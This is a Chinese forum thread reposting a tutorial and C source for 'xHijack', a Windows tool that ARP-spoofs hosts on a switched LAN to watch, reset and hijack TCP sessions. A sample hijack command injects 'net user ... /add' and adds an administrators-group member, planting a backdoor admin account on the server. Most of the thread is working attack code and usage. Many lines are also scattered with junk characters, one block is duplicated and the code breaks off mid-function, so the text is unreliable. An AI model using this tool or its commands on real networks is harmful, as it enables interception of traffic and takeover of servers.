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标题: 再谈交换环境下的会话劫持(For windows2000) [打印本页]

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作者: 韩冰    时间: 2004-11-21 01:44
标题: 再谈交换环境下的会话劫持(For windows2000)
第一步是开启IP Routing的功能，修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
: u/ i* ^' x/ N# U+ Q第二步是ARP欺骗，具体原理我就不说了。
/ w  `: o" K9 [% `; ^& r第三步就是开始劫持啦。
9 K7 X6 l8 D' R0 \7 s
我写了个程序xHijack可以实现第二、三步功能，使用如下:
, \9 K" Z# ^) _1 \5 ^- v
' T! q& a' q% v1 h( r0 J; |Usage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程：server <--> client
劫持后数据流程：server <--> hijacker <--> client
! h6 q" ~  |- N# c+ X# Y
& I- V4 k+ g; Q- w<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
1 e! \7 K, C" R9 x/ G假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
# h1 r2 u2 P. S% nxHijack 202.202.202.2 202.202.202.1
劫持前数据流程：server <--> gw <--> routes <--> client
劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client
3 u1 k9 R: y; K5 y2 k  S
  j0 R* N7 D9 \% S6 Y8 h( b# R) i, a<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程：client <--> gw <--> routes <--> server
( _& i0 J9 I: T; Q劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server
9 k5 \$ K* e% q/ _7 c
输入两个参数后，会提示你选择网卡，然后会提示
l        <-- List all connections
r x       <-- Reset the number x connection
' Z! Q5 y2 F, L3 ]w x       <-- Watch the number x connection
3 A4 F1 P  H3 F2 f. nh x command   <-- Hijack the number x connection to execute command
- w: A) b$ F) z, S! X+ S9 n8 a
list、reset、watch命令我就不解释了。
. l! Q# m4 w8 R7 B+ N6 C( Q5 f假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
) J) {2 ~& u' f我们想要劫持这个连接运行我们的命令，输入
( Z' x  K0 y5 B. FxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
  a+ ]5 T1 F0 f$ Z0 `' K/ I. Q2 R# w为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
$ p( \' ], b! g( B) ^pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。
* w4 {3 P" r( e1 g1 W8 T
劫持的流程如下：
<1>伪装成Server给Client发一个rst包
+ v; P8 {/ y) X4 ?/ O! i0 B<2>伪装成Client给Server发了一个数据包
. c0 N1 W: q8 i3 R! I  g# q9 N- s# k<3>Server回一个ACK包给client
* X6 E/ {: I! G  _  z<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server

这样的话，我们只能发一个伪造的包，但我想已经足够了。
( v. k1 ^8 a! v! y! j  t. Y想要一直劫持那个连接也可以，如下
9 @# g- y* L0 d, S<1>伪装成Server给Client发一个rst包
8 {6 h; O& c( f3 X! f<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
% f! q- H3 s$ q( J1 a5 ~$ c<3>伪装成Client给Server发了一个数据包
* m# v5 s9 _; k. a<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。
- ?) h1 b6 j9 s7 o: h' U
不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。
% P" L6 Q/ K6 q" a! ^

% b4 A0 o" P5 `. ]' p: M( |刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
还请各位多多指点。

BTW:我没有空间，编译好的程序没地方放：（
: |/ ?/ I+ P. ?2 ^  l9 L. Z
9 _* @( b+ v8 c; Y4 j1 k3 i" }

' g) B- K1 M! L参考资料
. F# V1 [3 I3 Z<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
+ ~& r3 B# t2 P) d9 K  ]
4 r6 B8 s6 c5 U0 f" I! o
以下是程序代码
----------------------------------------------------------------------
2 \7 D* i( x0 A' ]% Z3 Z/*-----------------------------------------------------------------------------
File      : xHijack.c
Version      : 1.0
  E* z& N% ?- @% E3 ~Create at    : 2002/8/12
# W# i! I& \' V7 GLast modifed at  : 2002/8/19
Author      : eyas
Email      : ey4s@21cn.com
HomePage    : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
) m& z1 a5 \9 e  Z0 {/ m% WIf you modify the code, or add more functions, please email me a copy.

备注:
3 t1 V  h" |& U<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
' t! r5 k( ?2 K$ b显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
1 P8 W) |1 z0 b4 Z. O0 V- T. K题了。
& u# z  E9 G5 R
也许下一版本会修正这些问题，也许不会有下一版本了。

9 D  ^+ V& _' P& ^-----------------------------------------------------------------------------*/
) ~, u2 T1 t; f) Z#include
#include
/ w% g, M3 {+ x& _& ]#include
#include
#include
0 \. w8 t2 w/ q1 \6 A2 N#include
#include
! C5 Y; o  g2 z' J
7 n# |6 t9 D+ x% F#pragma comment (lib, "packet")
# u( N3 l  y' p# I0 L1 ~) W7 g#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")

: j& X! o1 s$ u% b- ]% p#define Max_Num_Adapter 10
; Y& b% @8 _7 A+ W0 U! g#define Max_Num_IPAddr  5
#define EPT_IP      0x0800      /* type: IP  */
8 Z8 z- u9 ~1 Z3 d6 w#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
6 B" A$ p% e7 V+ @- [& `: i* `#define EPT_ARP      0x0806      /* type: ARP */
7 z$ {% p0 \8 K2 t! F  ~
#define  ACTION_NONE    0
  |. [5 }, p( t#define  ACTION_WATCH  1
#define  ACTION_RESET  2
- e0 T1 T" g5 R" v7 Q8 ^#define ACTION_HIJACK  3

9 y* d3 S( w8 M$ d' h/*以1字节对齐*/
; k+ ?5 L/ k) D#pragma pack(1)
" S6 F) ]  M) R) w2 l4 z+ _0 Ttypedef struct _ehhdr
2 Z8 `5 V1 `: d$ R/ |3 {{
9 A- B7 _! y% l# X8 q, K3 W  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
  unsigned short  EthernetType;
8 q5 U, E  Z, I7 A5 ~+ B}EHHDR, *PEHHDR;

typedef struct _iphdr        //定义IP首部
# E5 M. N5 ^8 v. M3 o8 `{
* V" g* ~" K! L, F+ N  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
' q% U0 h& A7 B, Y, k3 n  unsigned short total_len;    //16位总长度（字节）
+ E$ x# D; {( {3 Z+ f* d7 E; ]  unsigned short ident;      //16位标识
2 `$ a* f. t- ?& f* `  unsigned short frag_and_flags;  //3位标志位
) o2 D9 i. t" w7 \8 l8 V  unsigned char ttl;        //8位生存时间 TTL
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
* E# A: X1 @( v' z/ C5 ~" |  unsigned int sourceIP;      //32位源IP地址
* T: N. T2 {9 T% X* v  unsigned int destIP;      //32位目的IP地址
3 C6 j( M: q  }, |8 N9 `$ m/ Y: t. w}IPHDR, *PIPHDR;
3 |; m  f5 I/ |3 ]) {9 G! b) T% p/ O
typedef struct _tcphdr        //定义TCP首部
# O. @, M: E: L. O{
  USHORT th_sport;        //16位源端口
1 H1 f' ?3 H; ]7 H; N  USHORT th_dport;        //16位目的端口
2 g. G7 E: G9 |/ j+ T/ f  unsigned int th_seq;      //32位序列号
0 h( f" F/ K) I. z+ X- B$ o: g0 ^0 [  unsigned int th_ack;      //32位确认号
4 s$ P& |3 \2 p; z3 @5 Q0 x  unsigned char th_lenres;    //4位首部长度/6位保留字
  unsigned char th_flag;      //6位标志位
  USHORT th_win;          //16位窗口大小
1 V) w" I( j  O" X' P) m- `  USHORT th_sum;          //16位校验和
  USHORT th_urp;          //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr        //定义TCP pseudo header
{               
8 s; j, i/ a" Z- P4 b/ V' n* a  unsigned long saddr;
- U. b& D5 P; P) |1 d  unsigned long daddr;
  char mbz;
+ s. J4 y) r  N  Z9 I) m* l2 v  char ptcl;
+ u" `& F) x, U7 E! {  unsigned short tcpl;
- N5 q1 N: s9 V, I8 H  T$ b}PSDHDR, *PPSDHDR;

4 X7 r  v* n% v+ t& }  F# Atypedef struct _arphdr
{
$ o6 S3 y; H* {# c& M3 z% {, c  unsigned short  HrdType;//硬件类型
* {7 x$ J3 O0 p1 ~. @/ }  unsigned short  ProType;//协议类型
0 b4 U( ^$ l( D1 W0 h  unsigned char  HrdAddrlen;//硬件地址长度
+ w+ J% z5 x& K/ K& u  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
  unsigned char  SourceMAC[6];/* sender hardware address */
6 O1 G! N3 {2 b& e' q  unsigned long  SourceIP;/* sender protocol address */
+ V# Y: v) T6 V2 K, P- c' S  unsigned char  DestMAC[6];/* target hardware address */
3 s$ |" ^! o! i; N& e) Q4 N  unsigned long  DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct _ArpPacket
4 n4 ]# v+ M  }" B2 \{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;
' A/ D  ?$ D4 E- T. `0 ]
" X" c$ Z* T) `. P  Q. mtypedef struct _tcppacket
+ U6 i. f* w- N& i7 U{
  EHHDR  ehhdr;
  IPHDR  iphdr;
  TCPHDR  tcphdr;
}TCPPACKET, *PTCPPACKET;

/ i6 Y1 ]% D2 p5 P  dtypedef struct _conninfo
{
* m  m( T: Z$ I$ j1 k0 c  DWORD  dwServerIP;
$ p- ]; B' i( O8 v5 }  USHORT  uServerPort;
  DWORD  dwClientIP;
  USHORT  uClientPort;
  DWORD  ident;//标识
  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

" ]% Q( y3 X# Q% b//定义全局变量

---

作者: 韩冰    时间: 2004-11-21 01:44
unsigned int  g_ServerSideIP,
        g_ClientSideIP,
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
6 ~  y) b5 o% S+ L6 H        g_TotalIP = 0;//
! h2 \/ A  }$ ~( B- [unsigned char  g_szOwnMAC[6];//本机MAC地址
unsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
1 I% N! q8 z$ e1 o( ~- T" W6 @char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
8 C6 ]4 z8 Y# y( q, ILPADAPTER    g_lpAdapter;
! _* ~5 L3 Q5 l! a  D* O) x//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
) q9 _4 ~/ i; `4 u! nHANDLE      g_hThread[4];
- l+ j, F' ?; tchar      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
4 A  R, w+ ^" l% W4 D        g_pConnHead = NULL,
        g_pConnLast = NULL;
* x# N& M3 E) O" c1 |8 e' n" fchar      g_szSendPacketBuf[1514];
; F' I) F3 W8 |LPPACKET    g_lpSendPacket;
//函数
void      usage(void);
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
4 E: [4 r1 S2 T# R6 L& w8 }2 Ivoid      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
: ]' L' V0 B+ Y' Z) Q/ x9 hUSHORT      checksum(USHORT *, int);
4 t5 q/ V1 t0 d2 {: z6 T- iBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
7 s# a8 f+ K: n8 G: I" r, t6 }/ fBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
! r  X% ?; O, Z8 E; n3 x1 X6 oLPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
# X3 n9 [( A$ ~BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
' f: D+ u; ?, R! d- R4 CDWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
* N7 W! P4 P' ]" @DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);

9 h4 a6 t; a# y0 s3 a( P( k

. l4 ~3 B8 B( u: \: ]$ f4 C" Tint main(int argc, char **argv)
{
  struct    bpf_stat stat;
# e; H1 \4 r% a# C4 T  int      i;

  usage();
  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
7 P! |: ~1 d. f) P! s  g_ClientSideIP = inet_addr(argv[2]);
4 V% A+ m' I/ u' {& V5 x  //初始化adapter & 一些全局变量
1 _+ T- R1 k- C, n- J2 I; o  g_lpAdapter = InitAdapter();
2 [6 Q9 w* \- I  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
0 c$ B- I8 j, W8 K3 f- x  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
7 D9 `* T. ?3 Z  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
( O; F5 b- A1 E1 }" I- `) T. W7 x2 W  i = 1;
" K$ y  _& z! L# l" Z( u  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
2 R) k* L4 {! L$ M3 s8 \' w! V  Sleep(500);
  i = 2;
3 K" W6 Q; J+ y+ p( O8 ?0 p" V  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
) W, o8 [. t3 Y  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
* E: ]6 ?0 e& L: R  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
6 [9 z. |( k+ ?9 ?3 T    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
  }
( i7 z6 Q; H, ~* X2 H5 D  //wait for any thread exit
! d  r  c5 g( n( S6 D0 e  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
7 |9 g/ i3 I" ]0 @- S( m# Y& @  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
* M, w; G4 S/ ?: e/ I  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
8 y( \1 R7 p/ c" k2 r; m  //free resource   
5 E& l: X5 Q0 Y4 L/ a1 a" Q  PacketFreePacket(g_lpSendPacket);
( P6 s, |% n& W) S9 R  PacketCloseAdapter(g_lpAdapter);
/ y* J. D. D6 R2 y& y1 Z3 b  return 0;
. Q. O! L* ]2 a% I}
8 Y" P; O2 R0 l8 A0 C5 z
2 \1 U1 g; K5 t; t2 A//
//功能：重置所有于ACTION有关的标志
//

---

作者: 韩冰    时间: 2004-11-21 01:44
unsigned int  g_ServerSideIP,
        g_ClientSideIP,
7 p! j2 {( C- [& G& J5 C        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
+ K7 F" ]' T- munsigned char  g_szOwnMAC[6];//本机MAC地址
* w1 {7 T5 o& m2 @' V' h' v6 ^unsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
" ]' u4 U% R; v, ichar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
2 ~4 c! M" A7 Y" ?4 Q/ D' hchar      g_szCommand[128];//command to execute after hijack
- Z4 ]6 s8 w( Q( K! v/ _DWORD      g_dwAction;//action type
6 J( P; B8 }, \! w3 w; \. P9 k$ yDWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
        g_pConnLast = NULL;
6 i2 ~% e- U3 Q8 q. S( Vchar      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
//函数
0 ?2 A5 _6 A+ B) s! Zvoid      usage(void);
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
USHORT      checksum(USHORT *, int);
/ X4 t' v; i: b$ p$ h5 k% q9 \BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
. B  K" F; {1 N9 c! zBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
1 P0 v0 \8 p7 PBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
; G: t. P# V5 mDWORD      GetConnNum(char *, DWORD, DWORD *);
3 _$ N' a: u1 O3 M+ nDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
% ^! X5 }; A6 W( i' ]* E& zDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
* a  W; D2 p( {4 kDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
3 M! a; p/ B  l5 W( TBOOL  WINAPI  CtrlEvent(DWORD);



6 {- R5 g* o) E  {1 u7 Vint main(int argc, char **argv)
{
, o5 s" K! i6 P0 ^3 @  o  struct    bpf_stat stat;
  int      i;
) W; X2 k& I/ m& e" y
  usage();
  if (argc != 3) return 0;
  //取得参数
* x! {3 O. o8 q* p' b  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
( d% ^2 b2 ~1 ?. m9 O  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
5 [+ N; C) t" D" ~) G  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
6 p  |6 @: ~$ x4 N# Z  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
3 {) k" }8 O9 `  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
& ^8 t8 N9 [1 Q6 [1 f  Sleep(500);
( {3 u+ N9 `* Z! d- A  m; w1 c- h  i = 2;
1 `# T% K8 Y& `  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
6 G! c4 ~7 I. w$ o  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
+ h9 C" X9 Y) Q; s' `  //create interface thread
6 y0 f) f3 Z) n! i# _; f' r  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
- Z$ L- C9 ]- X6 A5 o, s# w: `    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
% @  G. M9 C) w; \# H    return 0;
  }
2 S* q; q* ]3 x4 ~$ r. P8 z9 d  //wait for any thread exit
  ~. c5 Z6 I& {' K* `  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
+ v% L% j- K+ ?  `    printf("Warning: unable to get stats from the kernel!\n");
6 L2 N, y8 W! N+ r  else
/ T& Y: ]; C" u$ R7 \$ k    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
2 t; Y( {+ D3 o! A( s6 ]4 @  //free resource   
9 s  Z# @5 O6 ], P4 Z* p  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
) R/ }5 k4 |' W4 X# w: B! v}

//
; |. i* m1 L7 Y' c9 ~//功能：重置所有于ACTION有关的标志
//

---

作者: 韩冰    时间: 2004-11-21 01:45
void ResetActionAllFlag()
{
  g_dwCtrlConn = 0;
  g_pCurrCtrlConn = NULL;
  g_dwAction = ACTION_NONE;
* }! T4 {0 i$ `. @- _2 |' D}
! ^8 y0 @% T) C1 g: E" o
8 r4 Y! o* O' _8 Q3 g- w& P) f//
; T0 E3 u2 t8 k  q2 X7 b//功能：处理Ctrl+C和Ctrl+Break事件
//
' r2 h$ u  ?2 c& c$ oBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
, Y, V  C; ?, W6 G. [3 j  switch(dwCtrlType)
  {
    case CTRL_BREAK_EVENT:
      //reset action all flag
" A2 Z2 O/ x; n      ResetActionAllFlag();
      break;
7 K1 d% h9 b* I6 h) z    case CTRL_C_EVENT:
0 p8 ^/ H$ I3 `- A' _% H      //terminate all thread
      TerminateThread(g_hThread[0], 0);
5 S2 S. G) [) \; E% {; N% J6 N      TerminateThread(g_hThread[1], 0);
      TerminateThread(g_hThread[2], 0);
" O! i( ~2 H/ ~* B0 ~$ J% q      TerminateThread(g_hThread[3], 0);
! @3 {3 e8 d- y) t) L; ?      break;
* d1 c( q' T! j% X7 t2 R" e1 p    default:
      break;
  }
, U5 b& o! c  r1 X6 a  return TRUE;
/ D% Y8 R: w6 F4 q5 B; z}
& g# l- {# v; w  a: w" t
//
//功能：处理用户输入
//
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
% F9 S: |* z2 m+ E4 H  DWORD  i;
  char  szBuff[16];

' T- Z1 ?( B" U& ~+ w. ]  *lpCommandPos = 0;
  for(i=0; i<15, i代码比较乱
//
& A; `5 s% o, I, R: uDWORD WINAPI InterfaceThread(LPVOID lp)
' y! H) G$ W! G{
6 X7 i% |9 C' n/ O5 B* n  char  szHelp[] =  "l\t\t<-- List all connections\n"
            "r x\t\t<-- Reset the number x connection\n"
) _# L! B4 r. h  E$ m# k4 T            "w x\t\t<-- Watch the number x connection\n"
            "h x command\t<-- Hijack the number x connection to execute command\n"
            "[Note]\n"
) ^" T) ]6 T) H0 X. z  g/ W            "Ctrl+Break to clear all action\n"
3 M% ?0 e6 g, s. g/ o& l            "Ctrl+C to exit\n";
  char  szPrompt[] = "\nxHijack>";
  char  szBuffer[128];
  DWORD  dwPos;
4 B& e/ b2 J; X& K; H& X  PCONNINFO  pTmp;
, D* v* M4 _" \
0 i+ Q; [( H- V  while(1)
  {
    gets(szBuffer);//不考虑buffer overflow
1 [+ I3 Y3 K$ R# y; r    switch(szBuffer[0])
9 p# n5 d0 Z  W    {
2 j  L1 X; n- A9 y- {, Y      case 'l':
0 \6 \( ]" g5 [2 U9 t9 x      case 'L':
7 }/ S" H$ {1 ~; B        ListAllConnection();
        break;
9 `1 h% G3 J4 Y( \: K6 L& O( n      case 'r':
      case 'R':
# |) F* G  j% I5 M1 k3 t        if(strlen(szBuffer) >2)
( b3 J$ u* T  {" A. n) ?7 o        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
. S! [& k1 D& z2 d" Q6 m7 f9 E1 ~9 L# }          g_dwAction = ACTION_RESET;
& X  A4 p8 M* S9 s1 R2 A        }
        else printf("%s", szHelp);
        break;
      case 'w':
      case 'W':
        if(strlen(szBuffer) > 2)
        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
8 H; U& R% N3 _& Y6 A          g_dwAction = ACTION_WATCH;
2 K6 T) s+ R3 Q. S        }
- _( W* r2 o0 v9 J& {4 Y! B        else printf("%s", szHelp);
        break;
      case 'h':
& G( u) k! b: f* I, G% [7 {      case 'H'://h 1 xxx
( z. |5 @2 M" k0 \. p        if(strlen(szBuffer) > 5)
        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          //如果command第一个字符是'或"
0 d) |$ Z* n% A          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
          {
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
          }
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
          strcat(g_szCommand, "\x0D\x0A");
          g_dwAction = ACTION_HIJACK;
5 e! j- h" l3 c8 o& N' \        }
% {2 m' K# \$ P; N! A" ~/ K        else printf("%s", szHelp);
. p) C0 ^* y( h; n( E        break;
& r# f1 l6 D/ e# V3 l      default:
; g0 I: n, g, M6 ]% C6 q0 d9 H' d- v- M" }        printf("%s", szHelp);
        break;
5 n; r! o  s  U; J4 C, N    }//end of switch
    //find the specify ident's struct point
' T% X: g' m4 K& `6 y    if( (g_dwCtrlConn) && (g_dwAction) )
    {
      g_pCurrCtrlConn = NULL;
      pTmp = g_pConnHead;
      while(pTmp)
& P$ `4 J) G8 N      {
/ D; }9 t1 [$ ~" H        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
        {
- X( l# |% t1 p0 N          g_pCurrCtrlConn = pTmp;
          break;
. W6 b' `2 Z- {: f) X; }5 `' A: `        }
5 v0 }  [# {0 C, r' z0 K, D        pTmp = pTmp->Next;
# w& z! v, T6 x6 Q  m# j      }
      if(!g_pCurrCtrlConn)
( j+ u8 ^" u+ E6 p' \8 l      {
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
        //reset action all flag
, o4 e: [5 A* E) v1 R4 S        ResetActionAllFlag();      
      }
    }
; Z% D4 L* `! I' M    if(!g_dwCtrlConn) ResetActionAllFlag();
    //显示当前用户所期望的动作
+ ~- Y" B. |) K    printf("\nCurrentAction:");
" k7 W7 F* J$ J! E$ ?4 v- F2 K. Z    switch(g_dwAction)
# B! P3 T! D2 ^3 E) C9 l1 c    {
, J* {: v7 `) Q; A! e& M      case ACTION_WATCH:
        printf("ACTION_WATCH");
8 `3 w+ `/ J- J6 F+ k; y        break;
      case ACTION_RESET:
# T9 V! i2 l: E$ \        printf("ACTION_RESET");
        break;
      case ACTION_HIJACK:
        printf("ACTION_HIJACK");
        break;
; B* I- j. [6 Z" j6 g) E3 c9 b) }6 q      default:
1 i/ b8 {& A1 M        printf("ACTION_NONE");
        break;
    }
$ N1 R7 a+ a# C9 O6 K4 i7 y    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
6 {% P# b( E$ Q/ _: v$ h  }//enf of while
& \3 w. Z/ p! [) O% i/ |3 s& t  return 0;
$ i* O. G8 k  p0 R2 Z) B+ z}

---

作者: 韩冰    时间: 2004-11-21 01:46
// //功能：列出当前所有连接 & b, Q: z) f& f+ B$ n% ]1 M1 b8 N% ?// ' e9 b: N( O( [7 s/ pvoid ListAllConnection() 1 ^! M% r0 F7 U1 i$ Q{ ) ]7 b; m+ Y& t7 {- e! d PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; pTmp = g_pConnHead; ) H7 i- W3 _" U- z1 E8 @) b: Q, I$ {# V while(pTmp) { if(pTmp->bActive) # W ~7 \5 e1 C0 L0 m { 4 x9 m: L+ W/ q( h! t saSource.sin_addr.s_addr = pTmp->dwServerIP; 1 A& ]0 r/ ]7 |7 D saDest.sin_addr.s_addr = pTmp->dwClientIP; , ?. f% Z- e* X: T printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), . {- O0 m0 X S" `, y6 ^* N! Z ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 7 c [, W5 u R4 S; B } " T% s$ D0 k4 v9 H4 c pTmp = pTmp->Next; } : E( O& z- H+ r( n( H} " P( z' T/ S" D- w5 D // //功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 ; T1 g2 u- Z9 w, ^# P8 H4 `// ' N" {8 p+ [* e P* ULPADAPTER InitAdapter() { LPADAPTER lpAdapter; static char AdapterList[Max_Num_Adapter][1024]; ) [& _" n$ _ H7 G4 o char szSelectAdapterName[512]; WCHAR AdapterName[2048]; # [ {* U# l8 ] WCHAR *temp,*temp1; 0 M) J4 ^1 F3 V ULONG AdapterLength = 1024; ; y& M1 A1 Y6 i) i1 | int iAdapterNum = 0; " X v9 y+ ~; L9 S int iRetCode, i; 6 R6 H- e4 